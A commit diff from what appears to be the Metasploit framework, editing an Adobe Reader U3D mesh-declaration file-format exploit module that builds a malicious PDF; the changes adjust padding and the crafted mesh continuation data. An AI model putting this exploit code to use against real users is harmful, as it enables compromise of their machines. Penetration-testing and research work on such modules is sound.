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minor cleanups, fixed u3d_pad function 

git-svn-id: file:///home/svn/framework3/trunk@7626 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Joshua Drake 2009-11-26 06:21:39 +00:00
parent d6a732d619
commit 623f3b88ec
1 changed files with 6 additions and 21 deletions
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27
modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb
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@ -230,7 +230,7 @@ Original notes on heap technique used in this exploit:
}).to_s
# create the u3d stuff
u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(32)+4))
u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(28)+4))
# Create the pdf
pdf = make_pdf(u3d, js_doc, js_pg1)
@ -290,7 +290,7 @@ Original notes on heap technique used in this exploit:
def u3d_pad(str, char="\x00")
ret = ""
if (str.length % 4)
if (str.length % 4) > 0
ret << char * (4 - (str.length % 4))
end
return ret
@ -364,25 +364,10 @@ Original notes on heap technique used in this exploit:
cont_data << meshname
cont_data << [0].pack('V') # chain idx
cont_data << [0].pack('V') # start resolution
cont_data << [0].pack('V') # end resolution
cont_data << [0].pack('V') # split position index
# new diffuse color info
cont_data << [1].pack('v') # count
cont_data << "\x00" # difference sign
cont_data << "\x00" # pad
cont_data << [1].pack('V')
cont_data << [1].pack('V')
cont_data << [1].pack('V')
cont_data << [1].pack('V')
# new specular color info
cont_data << [1].pack('v') # count
cont_data << "\x00" # sign
cont_data << "\x00" # pad
cont_data << [1].pack('V')
cont_data << [1].pack('V')
cont_data << [1].pack('V')
cont_data << [1].pack('V')
# new texture coord info
cont_data << [0].pack('V') # end resolution
# no resolution update, unknown data follows
cont_data << [0].pack('V')
cont_data << [1].pack('V') * 10
mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
mesh_cont << cont_data
mesh_cont << u3d_pad(cont_data)